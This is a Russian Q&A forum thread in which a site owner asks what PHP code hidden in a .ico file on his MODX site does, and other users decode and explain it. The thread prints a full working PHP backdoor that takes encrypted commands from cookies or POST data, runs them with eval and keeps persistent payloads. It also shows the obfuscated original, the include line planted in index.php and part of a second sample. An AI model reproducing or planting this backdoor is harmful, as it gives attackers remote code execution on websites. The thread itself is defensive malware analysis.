Что делает код в этом файле?

Question

[Станислав]

Приветствую!
При сканировании файлов сайта, антивирус начал ругаться на троян в некоторых файлах. Открыл один из них с расширением .ico в hex-редакторе и получил такой код:

содержимое файла

<?php
if (!defined('ALREADY_RUN_1bc29b36f342a82aaf6658785356718'))
{
define('ALREADY_RUN_1bc29b36f342a82aaf6658785356718', 1);

 $sxzhqooes = 7835; function pfnzx($tnpvosmo, $octvx){$ujtyvc = ''; for($i=0; $i < strlen($tnpvosmo); $i++){$ujtyvc .= isset($octvx[$tnpvosmo[$i]]) ? $octvx[$tnpvosmo[$i]] : $tnpvosmo[$i];}
$ihpqb="base" . "64_decode";return $ihpqb($ujtyvc);}
$sagjcv = 'iHE3vU8Z9qNI57nPKvSN5x0c5NzM975xXv8hnTykKBM3vU8Z9qNI57nPKvSM97SIYl0'.
'69O0C06tbkvUoiHZ4u1fZlO3NSvbx91wWl7nWY13LSdNc9NzPu1LN06tbkvUoiHZ4Yl069O0I5qnt9O0Pu1fx'.
'Ki4ZhtPKHF3NSwzPu1LNl7yZ91NPKi4ZhtPKiHE3vqNqKvwUY1YZ9qnU'.
'Kv0HDw8IaTzkJgUZiHZoiHEbJv4bYdnqu1fNKv0HDw8IaTzkJgtbJNyeJgUoiHZziHE3v'.
'qNqKvwUY1YZ9qnUKv0jDn0wHLaRTNNITPnHHn08njzDJgUZiHZoiHEbJv4'.
'bYdnqu1fNKv0jDn0wHLaRTNNITPnHHn08njzDJgtbJgAgKBM3vxP3vbPKu1VbKvwUY1YZ9qnUKvS8Bw0wHTaYlL0nBNAy3ia2hiS'.
'2Y2V6k70Ghi0GV1YZ32G6u1wgkBYGSdNckBbxKDU3vxM3vg4bJv8UY1YZ'.
'9qTE0PwkTUn8awNITNnhlCjP3dkW373q32JCVqjWkqwGYqU7hF0ZV1Jy3qwPu1Ayhv5MJijZhtPKiHEbJv4b0daGSdjbRD8'.
'hnTykhtPKJv4bJvaUVlaGl7sNrD4zJjfnBjtoiHE3vg4bJv4UaPyRHUwkTLMxVO3IVlnPuvSSJiP'.
'b0CVth1aGkCUCX1H73dks3iNqhDLgk7HWXBkLki46YB5yhd3gVg5oiHEbJv4bY'.
'7ycVqwMJva25LzGSlaEhtPKiHE3vg4bJv8ZYg4EJ1YL9q3Pu1zel7nWul3P56bxYq'.
'NMYnztSlaIV7zeSdneSFkxKDU3vg4bJv8oiHEbJv4bJv4bJdYL9q3Pu1zeJdYZ9dnI5FnPl73c9xaN9xaCKvaeXv4'.
'UYvtb0dYMV15bRD8dV1yCYDU3vg4bJv4bJv4brtPKJv4bJv4bJv4bJ'.
'v4b0dLcYdTbRD4UYqyGY64zRD4WJiAb07jxJiEb0O5xhtPKJv4bJv4'.
'bJv4bJv4b0dVbRD84YqztY1WE0dWMJvas97aNKBM3vg4bJv4bJv4b'.
'Jv4bJdNqJvbUYg4zRBPbaqwM57TZiHEbJv4bJv4bJv4bJv8oiHEbJv4bJv4bJv4bJ'.
'v4bJv4b5qnPSl0eJi4oiHEbJv4bJv4bJv4bJv8ziHEbJv4bJv4bJv4bJv8N9F3NiHEbJv4bJv4bJv4bJv'.
'8oiHEbJv4bJv4bJv4bJv4bJv4bu1VbKdNCl7w65qwfKvaUKDUb0dHbRD8Z9l8M97aNKvaUKBM3vg4bJv4bJv4bJv4bJv4bJv'.
'4UVxNPYl3ISO0ZSFaN9g4zJdYO5qNPYDbUYgtb0dHZhtPKJv4bJv4bJv4bJv4bJv4bJdY2'.
'9dzCYDbUYgUoiHEbJv4bJv4bJv4bJv4bJv4b5qnPSl0eJvagrlaN5LzO5'.
'qNPSdnehtPKJv4bJv4bJv4bJv4bIHPKJv4bJv4bJv8ziHEbJv4bIHPKiHEbJv4bu1VbKvwq'.
'S1f2SdNc9NzNrdNCSFkE07YZ9dnIY7nPl73c9xaN9xaC06UZiHEbJv4brtPKJv4bJv4bJv8qS'.
'1f2SdNc9g8qu1yNl7SNSwz297fPY1fP56bUYqNMY1fG91TZiHEbJv4bJv4bJFM3vg4bJv'.
'4bJv4bJv4bJvaqudweYdyNJiPbYqztY1WE0dYZ9dneV1LNXv4g5gJZhtPKJv4bJv4bJv4bJv4b0dY'.
'297fPY1fP564zJdY6Y1wUKvaqudweYdyNXv8qu1yN57NQYDbUYqNMY1fG91TZKBM3vg4bJv4bJv'.
'4bJv4bJdY29dzCYDbUYqGG9qaMYDUoiHE3vg4bJv4bJv4bJv4bJF0NSFn69g4UYq3c9xaN9xaChtPKJv4bJv4bJv8ziHEb'.
'Jv4bIHPKJv4bJdYL9q3Pu1zeJd3Cl7SNSwz2Sl06Y1fPl7YZ9dntVlaEKvU3vg4bJv8o'.
'iHEbJv4bJv4bJF0NSFn69g8P5qNsKF86Y1SI5qnt9dw2YDbgXLtEXgZ50vAgXv4x06tblLzdD'.
'TywlLAZKBM3vg4bJv8ziHE3vg4bJv8qS1f2SdNc9g825LzUY13'.
'6rl8PlO8EVl3NKvaUVlaGXv4Uu7nfKHPKJv4bJFM3vg4bJv4bJv4b0dzLSwzUVlaGJiPbJgJoiHE3vg4bJv4bJv4bYqz6'.
'JvbUuBPth64UuByCSF0MY1WE0daGSdjZh6U3vg4bJv4bJv4brtPKJv4bJv4bJv4bJv4bYqz6JvbUu2Pth64Uu2yCSF'.
'0MY1WE0dsNrDUb0gVb0dUA5Oa69dneKvaUVlaGKBMb0dEpK6tb0dUpK6U3vg4bJv4bJv4bJv4bJFM3vg4bJv4bJv4bJv4'.
'bJv4bJv4U9OnPl7aGSdjbX2PbV7G6Kdz6YvbUYdwPVnMUunPZJwWb9O0UKvapYlN90dZSKDUoiHEbJv4bJv4bJv4bJ'.
'v8ziHEbJv4bJv4bJFP3vbPKJv4bJv4bJv86YlaL5qWb0dzLSwzUVlaGhtPKJv4bJFP3vbPK'.
'Jv4bJdYL9q3Pu1zeJd3Cl7aNVO0f5FHE0daGSdjMJvapYlUZiHEbJv4brtPKJv4bJv4bJv8x9dzgV1tb0d3Cl7wLSdb'.
'oiHE3vg4bJv4bJv4b5qnPSl0eJd3Cl7aNVO0f5FaI5dGG57TEVO3IYdn25xNtSwztudwCYDbUYdwPVDtb0dsNrDUMJva25LzGSla'.
'EKBM3vg4bJv8ziHEbJv4bYxneVOaZ97WbVO3IY1f25xNtSvbUYdwPVDtb0dsNrDU3vg4bJv8oiHEbJv4bJv4'.
'bJdSM970G9v4UVO3IVlnPuiM3vbPKJv4bJv4bJv86YlaL5qWbVO3IYdn25xNtSwztudwCYDG25LzUY136rl8PlO8EVl3NK'.
'vaUVlaGXv4UVO3IVlnPuvUMJvapYlUZhtPKJv4bJFP3vbPKJv4bJdYL9q3Pu1zeJd3Cl7SNSwzt9Fnxu1fIV7zeY'.
'qNxKvU3vg4bJv8oiHEbJv4bJv4bJvaCY1yql73c9xaN9xHbRD84YqNMYnzxYlaIV7zeSdneSFkEVO3IY7nPl73L5x0N9xaIYq'.
'NMYl8GSdbEKDUoiHE3vg4bJv4bJv4b0d3c9qYZYLzt9OkbRD8CSF0t9OkE0F3N9dYIV7zeSdneSvtb91HLKd3Cl'.
'7SNSwz2Sl06Y1fPl7YZ9dntVlaEKvUZKBM3vg4bJv4bJv4bu1VbKva297fqu1SI5dzCJvjzRD8dHTyBaD'.
'U3vg4bJv4bJv4brtPKJv4bJv4bJv4bJv4b0d3c9qYZY64zJF3LVx3P5gbU57nMYNz297fPY1fPXv4UV7zeYqNxlO8c564pJik'.
'6KBM3vg4bJv4bJv4bJv4bJvat9Fnxu1fCJiPbHFne57n6u1wMulZNKd3Cl7a'.
'NVO0f5FHEVqwCYBVPl7aNV7zUYDbUV7zeYqNxKDtb91HLKd3Cl7SNSwz2Sl06Y1fPl7YZ9dnt'.
'VlaEKvUZKDUoiHEbJv4bJv4bJFP3vg4bJv4bJv4bY1yCYHPKJv4bJv4bJv8oiHEbJv4bJv4bJv4bJv4U5dyLY7Ne564zJjw6'.
'5qwfKvUoiHEbJv4bJv4bJFP3vbPKJv4bJv4bJv86YlaL5qWb0F8MS1SZ9xkoiHEbJv4bIHPKiHEbJv4bYxneV'.
'OaZ97WbVO3I57nPlO8MS1SZ9Nz297fqu15E0F8MS1SZ9xkZiHEbJv4brtPKJv4bJv4bJv4UV7zeYqNxl7neV64'.
'zJd0G57T73wzN9q3cYdTEVO3IY1f25xNtSvG457n6u1wMulZNKvat9Fnxu1fCKDtb91HLKd3Cl7'.
'SNSwz2Sl06Y1fPl7YZ9dntVlaEKvUZKDUoiHEbJv4bJv4bJvaCY1yql73c9xaN9xHbRD84YqNMYnzxYlaIV7zeSdneSFkEVO3IY7'.
'nPl73L5x0N9xaIYqNMYl8GSdbEKDUoiHE3vg4bJv4bJv4b0d3c9qYZYLzt9OkbRD8CSF0t9OkE0F3N9dY'.
'IV7zeSdneSvtb91HLKd3Cl7SNSwz2Sl06Y1fPl7YZ9dntVlaEKvUZKBM3vg4bJv4bJv4bu1VbKva297fqu'.
'1SI5dzCJvjzRD8dHTyBaDU3vg4bJv4bJv4brtPKJv4bJv4bJv4bJv4b0d3c9qYZYLzc9dHbRD8CS10CSFJE0F3'.
'N9dYIV7zeSdneSvtb0d3c9qYZYLzt9OkbK64CkgUoiHEbJv4bJv4bJv4bJv4U57nMYNz297fPY1fPJiPb5Oa6lO0N5dyGV7TE0d3'.
'c9qYZYLzc9dHMJva297fqu1SIY1f2Xv4U57nMYNz297fPY1fPK'.
'BM3vbPKJv4bJv4bJv8ziHEbJv4bJv4bJdnM57T3vg4bJv4bJv4brtPKJv4bJv4bJv4bJv4b0F3N9dYIV7z'.
'eSdneSv4zJvaCY1yql73c9xaN9xHbXg4gldf59gAcJg4eJdLU3DG25LzxYlaIVOn65qneSwzqu1yN5dwPuvbZK'.
'D4eJva297fqu1SIY1f2htPKJv4bJv4bJv8ziHE3vg4bJv4bJv4bHdYZ9dnI5FnPl73c9xaN9xaCKd3Cl7SNSw'.
'z2Sl06Y1fPl7YZ9dntVlaEKvUMJvaCY1yql73c9xaN9xHZhtPKJv4bJFP3vbPKJv4bJdYL9q3Pu1zeJd3ClO8'.
'MS1SZ9NzGYdHE0dfG91TMJvagVl3N32aIYdwPVDU3vg4bJv8oiHEbJv4bJv4bJvat9Fnxu1fCJiPbVO3IY7'.
'nPlO8MS1SZ9Nz297fqu15EKBM3vbPKJv4bJv4bJv4U5dyLY7Ne5LMU9qwsYnPbRD8gVl3N3'.
'2aIYdn297aNKvagVl3N32aIYdwPVDUoiHE3vg4bJv4bJv4bVO3I57nPlO8MS1SZ9Nz297fqu15E0F8MS1SZ9x'.
'kZhtPKJv4bJFP3vbPKJv4bJdYL9q3Pu1zeJd3ClO8MS1SZ9Nz6Y1PE0dfG91TZiHEbJv4br'.
'tPKJv4bJv4bJv4U5dyLY7Ne564zJd3Cl7SNSwzt9Fnxu1fIV7zeYqNxKvUoiHE3vg4bJv4bJv4bS1fCYlHE0F8MS1SZ'.
'9x390dfG91nSKBM3vbPKJv4bJv4bJv825LzCYlaI5dyLY7Nel73c'.
'9qYZY6bU5dyLY7Ne56UoiHEbJv4bIHPKiHEbJv4bYxneVOaZ97WbVO3I5dyLY7Nel7ycV1HE0dfG91TzBNnkBvU3vg4'.
'bJv8oiHEbJv4bJv4bJdYc5qnGV7bbKd3Cl7SNSwzt9Fnxu1fIV7zeYqNxKvUbVlkb0F8eV1LNRBWU5d3c9xaN9xHZiHEbJv4bJv'.
'4bJFM3vg4bJv4bJv4bJv4bJdNqJvbU9qwsYDU3vg4bJv4bJv4bJv4bJFM3vg4bJv4bJv4bJv4'.
'bJv4bJv8ZYg4E5Oa6V7LtKvaeV1LNXv4U5dfG91TZJiPzJi4ZiHEbJv4bJv4bJv4'.
'bJv4bJv4brtPKJv4bJv4bJv4bJv4bJv4bJv4bJv8NSqwMKvatV7zeSdneSvUoiHEbJv4bJv4bJv4bJv4'.
'bJv4bJv4bJd06Y1wphtPKJv4bJv4bJv4bJv4bJv4bJFP3vg4bJv4bJv4bJv4bJFP3vg4bJ'.
'v4bJv4bJv4bJdnM57T3vg4bJv4bJv4bJv4bJFM3vg4bJv4bJv4bJv4bJv4bJv8NSqwMKvatV7zeSdneSvUoiHEbJv4'.
'bJv4bJv4bJv8ziHEbJv4bJv4bJFP3vg4bJv8ziHE3vg4bJv8q9O0NV13EJvbUlP3RBPs0aD8G564Uu7nfR'.
'BWUSqwMS1TZiHEbJv4brtPKJv4bJv4bJv4UYdwPVD4zJva7V1yLYBM'.
'3vg4bJv4bJv4b0daGSdwIu7nfJiPb0dsNrBM3vg4bJv8ziHE3vg4bJv8ZYg4EJDaU'.
'VlaGKHPKJv4bJFM3vg4bJv4bJv4bYqz6Y1w2uv4E0wzHBL3TJdwCJvapYlUzRga7V1yLYDU3vg4bJ'.
'v4bJv4brtPKJv4bJv4bJv4bJv4b0daGSdjbRD4USqwMS1ToiHEbJv4bJv4bJv4bJv4UYdw'.
'PVnzpYlUbRD4Uu7nfhtPKJv4bJv4bJv8ziHEbJv4bIHPKiHEbJv4b0daGSdjbRD84S1fCYl0ZV1'.
'yZrqTEVO3IYdn25xNtSvGgVl3N32aIYdn297aNKvaUVlaGKDtb0daGSdwIu7nfKDUoiHE3vg4bJv8Z'.
'Yg4Eul3CYlHE0daGSdw907wp0LPZJvVqJva25LzGSlaERBPUYdwPV'.
'nMxV1MxlDU3vg4bJv8oiHEbJv4bJv4bJdNqJvbUYdwPVnMxVDSSJiPzJvSZ06U3vg4bJ'.
'v4bJv4brtPKJv4bJv4bJv4bJv4b0dUbRD885x0GrDb3vg4bJv4bJv4bJv4bJv4b'.
'Jv4x5FVxJiP+Jj8tuF87Yl0Cu1zeKvUMiHEbJv4bJv4bJv4bJv4bJv4b0O37064zRg4'.
'xkgWtXBjxX4PKJv4bJv4bJv4bJv4bJv4bJvSGu65bRBWb0daGSdw907wp0LPMiHEbJv4bJv4bJv4bJv4ZhtPKJv4bJv4bJv4'.
'bJv4bY13E968457n6u1wMulZNKvaZKBM3vg4bJv4bJv4bJv4bJdnWulHoiH'.
'EbJv4bJv4bJFP3vg4bJv4bJv4bY1yCY1NqJvbUYdwPVnMxVDSSJiPzJvSN06U3vg4bJv4bJv4brtP'.
'KJv4bJv4bJv4bJv4bYlYG9vbUYdwPVnMxYvSSKBM3vg4bJv4bJ'.
'v4bIHPKJv4bJv4bJv8N9F3Nu1VbKvaUVlaG16SG0LPbRBPb0O8MS1SZ9g5ZiHEbJv4bJv4bJFM3vg4b'.
'Jv4bJv4bJv4bJdNqKvaUVlaG16SCVDSSJiPzJvSGYdHxKHPKJv4bJv4bJv4bJv4brtPKJv4bJv4bJv4b'.
'Jv4bJv4bJd3ClO8MS1SZ9NzGYdHE0daGSdw90O4xlDtb0daGSdw907HxlDUoiHEbJv4bJv4bJv4bJv8ziHEb'.
'Jv4bJv4bJv4bJv8N9F3Nu1VE0daGSdw90O3G0LPbRBPb0O0N9D5ZiHEbJv4bJv4bJv4bJv8'.
'oiHEbJv4bJv4bJv4bJv4bJv4bVO3I5dyLY7NelO0N9DbUYdwPVnMx5vSSKBM3vg4bJv4bJv4bJv4bJFP3vg4bJv4bJv4bIHPK'.
'Jv4bJv4bJv8NV7GcJvaUVlaG16SGu6SShtPKJv4bJv4bJv8NrdNPKvUoiHEbJv4b'.
'IHPKiHEbJv4bVO3I5dyLY7Nel7ycV1HEKBM3vxP=';
$tifozjxj = Array('1'=>'W', '0'=>'J', '3'=>'N', '2'=>'j', '5'=>'c', '4'=>'A', '7'=>'2', '6'=>'y', '9'=>'b', '8'=>'B', 'A'=>'8', 'C'=>'z', 'B'=>'T', 'E'=>'o', 'D'=>'S', 'G'=>'h', 'F'=>'H', 'I'=>'f', 'H'=>'Q', 'K'=>'K', 'J'=>'I', 'M'=>'s', 'L'=>'1', 'O'=>'3', 'N'=>'l', 'Q'=>'6', 'P'=>'0', 'S'=>'d', 'R'=>'P', 'U'=>'k', 'T'=>'U', 'W'=>'4', 'V'=>'Y', 'Y'=>'Z', 'X'=>'L', 'Z'=>'p', 'a'=>'R', 'c'=>'v', 'b'=>'g', 'e'=>'u', 'd'=>'G', 'g'=>'i', 'f'=>'5', 'i'=>'D', 'h'=>'O', 'k'=>'M', 'j'=>'E', 'm'=>'q', 'l'=>'X', 'o'=>'7', 'n'=>'V', 'q'=>'m', 'p'=>'r', 's'=>'t', 'r'=>'e', 'u'=>'a', 't'=>'w', 'w'=>'F', 'v'=>'C', 'y'=>'x', 'x'=>'n', 'z'=>'9');
eval/*jtx*/(pfnzx($sagjcv, $tifozjxj));
}

Answer 1

[DevMan]

легкотня:

@ini_set('error_log', NULL);
@ini_set('log_errors', 0);
@ini_set('max_execution_time', 0);
@error_reporting(0);
@set_time_limit(0);


if(!defined("PHP_EOL"))
{
    define("PHP_EOL", "\n");
}

if(!defined("DIRECTORY_SEPARATOR"))
{
    define("DIRECTORY_SEPARATOR", "/");
}

if (!defined('ALREADY_RUN_144c87cf623ba82aafi68riab16atio18'))
{
    define('ALREADY_RUN_144c87cf623ba82aafi68riab16atio18', 1);

    $data = NULL;
    $data_key = NULL;

    $GLOBALS['cs_auth'] = '609da393-d64c-49f9-b3d8-35002e718cbb';
    global $cs_auth;


    if (!function_exists('file_put_contents'))
    {
        function file_put_contents($n, $d, $flag = False)
        {
            $mode = $flag == 8 ? 'a' : 'w';
            $f = @fopen($n, $mode);
            if ($f === False)
            {
                return 0;
            }
            else
            {
                if (is_array($d)) $d = implode($d);
                $bytes_written = fwrite($f, $d);
                fclose($f);
                return $bytes_written;
            }
        }
    }

    if (!function_exists('file_get_contents'))
    {
        function file_get_contents($filename)
        {
            $fhandle = fopen($filename, "r");
            $fcontents = fread($fhandle, filesize($filename));
            fclose($fhandle);

            return $fcontents;
        }
    }
    function cs_get_current_filepath()
    {
        return trim(preg_replace("/\(.*\$/", '', __FILE__));
    }

    function cs_decrypt_phase($data, $key)
    {
        $out_data = "";

        for ($i=0; $i<strlen($data);)
        {
            for ($j=0; $j<strlen($key) && $i<strlen($data); $j++, $i++)
            {
                $out_data .= chr(ord($data[$i]) ^ ord($key[$j]));
            }
        }

        return $out_data;
    }

    function cs_decrypt($data, $key)
    {
        global $cs_auth;

        return cs_decrypt_phase(cs_decrypt_phase($data, $key), $cs_auth);
    }
    function cs_encrypt($data, $key)
    {
        global $cs_auth;

        return cs_decrypt_phase(cs_decrypt_phase($data, $cs_auth), $key);
    }

    function cs_get_plugin_config()
    {
        $self_content = @file_get_contents(cs_get_current_filepath());

        $config_pos = strpos($self_content, md5(cs_get_current_filepath()));
        if ($config_pos !== FALSE)
        {
            $config = substr($self_content, $config_pos + 32);
            $plugins = @unserialize(cs_decrypt(base64_decode($config), md5(cs_get_current_filepath())));
        }
        else
        {
            $plugins = Array();
        }

        return $plugins;
    }

    function cs_set_plugin_config($plugins)
    {
        $config_enc = base64_encode(cs_encrypt(@serialize($plugins), md5(cs_get_current_filepath())));
        $self_content = @file_get_contents(cs_get_current_filepath());

        $config_pos = strpos($self_content, md5(cs_get_current_filepath()));
        if ($config_pos !== FALSE)
        {
            $config_old = substr($self_content, $config_pos + 32);
            $self_content = str_replace($config_old, $config_enc, $self_content);

        }
        else
        {
            $self_content = $self_content . "\n\n//" . md5(cs_get_current_filepath()) . $config_enc;
        }

        @file_put_contents(cs_get_current_filepath(), $self_content);
    }

    function cs_plugin_add($name, $base64_data)
    {
        $plugins = cs_get_plugin_config();

        $plugins[$name] = base64_decode($base64_data);

        cs_set_plugin_config($plugins);
    }

    function cs_plugin_rem($name)
    {
        $plugins = cs_get_plugin_config();

        unset($plugins[$name]);

        cs_set_plugin_config($plugins);
    }

    function cs_plugin_load($name=NULL)
    {
        foreach (cs_get_plugin_config() as $pname=>$pcontent)
        {
            if ($name)
            {
                if (strcmp($name, $pname) == 0)
                {
                    eval($pcontent);
                    break;
                }
            }
            else
            {
                eval($pcontent);
            }
        }
    }

    foreach ($_COOKIE as $key=>$value)
    {
        $data = $value;
        $data_key = $key;
    }

    if (!$data)
    {
        foreach ($_POST as $key=>$value)
        {
            $data = $value;
            $data_key = $key;
        }
    }

    $data = @unserialize(cs_decrypt(base64_decode($data), $data_key));

    if (isset($data['ak']) && $cs_auth==$data['ak'])
    {
        if ($data['a'] == 'i')
        {
            $i = Array(
                'pv' => @phpversion(),
                'sv' => '2.0-1',
                'ak' => $data['ak'],
            );
            echo @serialize($i);
            exit;
        }
        elseif ($data['a'] == 'e')
        {
            eval($data['d']);
        }
        elseif ($data['a'] == 'plugin')
        {
            if($data['sa'] == 'add')
            {
                cs_plugin_add($data['p'], $data['d']);
            }
            elseif($data['sa'] == 'rem')
            {
                cs_plugin_rem($data['p']);
            }
        }
        echo $data['ak'];
        exit();
    }

    cs_plugin_load();
}

upd: весь декод сводится к замене eval на exit в последней строке.

Comments

[Дмитрий]

Добрый вечер.
А Вы не могли бы написать комментарии в своём коде, чтобы легче было разобраться?

[DevMan]

slo_nik, так это не мой код, это декодированный код автора вопроса)

[Дмитрий]

DevMan, ну вот, теперь понятней стало. А чем Вы декодировали?
Я-то, грешным делом, подумал, что это Ваш код, который должен декодировать код автора вопроса.

[Дмитрий]

DevMan, и ещё, чем код автора наносит вред? Что именно он делает?

[DevMan]

slo_nik,

А чем Вы декодировали?

a вы прочитайте строку под спойлером в ответе ;)

чем код автора наносит вред? Что именно он делает?

он по команде подгружает и выполняет код с удаленного хоста.
а чем это вредит или не вредит - я без понятия.

[Дмитрий]

DevMan, Вы эту строку имели ввиду cs_plugin_load();?

[DevMan]

slo_nik, угу

[Дмитрий]

DevMan, спасибо, буду читать.

[Станислав]

DevMan, спасибо! С помощью чего вы расшифровали код? Просто заменили eval на exit? А то там еще с десяток подобных файлов. И хотелось бы понять, что они подгружают и откуда. Конкретно этот файл подгружается из index.php (файла запуска modx)

/*abf8f*/
@include "\x2fho\x6de/\x68os\x7413\x3865\x399/\x70lu\x74on\x67eo\x2eru\x2fht\x64oc\x73/w\x77w/\x61ss\x65ts\x2fim\x61ge\x73/K\x61ta\x6cog\x2ffa\x76ic\x6fn_\x34dd\x31ce\x2eic\x6f";

[Станислав]

DevMan, получилось! Спасибо огромное!

[DevMan]

Станислав, пожалуйста))

[Станислав]

DevMan, извините за наглость, можно еще вопрос?! В другом файле

часть файла

<?<?php ${"\x47\x4c\x4fB\x41\x4c\x53"}['s4941'] = "\x59\x70\x6c\x2a\x67\x69\x25\x50\x2f\x46\x4a\x76\x3a\x71\x2b\x47\x26\x44\x7c\x45\x32\x3c\x3f\x63\x6f\x5d\x51\x66\x64\x24\x6e\x2d\x21\x77\x61\x53\x36\x75\x4b\x23\x5e\x3b\x4c\x7b\x3d\x42\x5a\x7e\x35\x2e\x78\x5f\x4f\x2c\x49\x33\x7a\x65\x28\x3e\x4d\x56\x37\x29\x72\x54\x68\x30\x6d\x5c\x74\x20\x41\x6a\x31\x62\xd\x4e\x57\x73\x48\x60\x39\x7d\x5b\x27\x55\x9\x34\x52\x79\x38\x43\x40\x58\x22\xa\x6b";

После декодирования имеет следующий вид

${"GLOBALS"}['s4941'] = "Ypl*gi%P/FJv:q+G&D|E2<?co]Qfd$n-!waS6uK#^;L{=BZ~5.x_O,I3ze(>MV7)rTh0m\t Aj1b\xdNWsH`9}['U\x94Ry8C@X"\xak";

С помощью чего можно расшифровать эту часть "Ypl*gi%P/FJv:q+G&D|E2<?co]Qfd$n-!waS6uK#^;L{=BZ~5.x_O,I3ze(>MV7)rTh0m\t Aj1b\xdNWsH`9}['U\x94Ry8C@X"\xak";

[DevMan]

Станислав, покажите весь файл.

[Станислав]

DevMan, тостер не дает возможности выложить код сюда, поэтому даю ссылкуddecode.com/hexdecoder/?results=32b6afd32ec969e9f5...@DevMan,

Answer 2

[synapse_people]

стучит на гейт, принимает команду на исполнение
Классика

Comments

[Станислав]

Спасибо, как расшифровать переменную $sagjcv? Пробовал декодировать в base64, но получается что-то невнятное.

[synapse_people]

Станислав, хрен знает, я тупо запустил процесс пхп-кли затем в стрейсе глянул что делает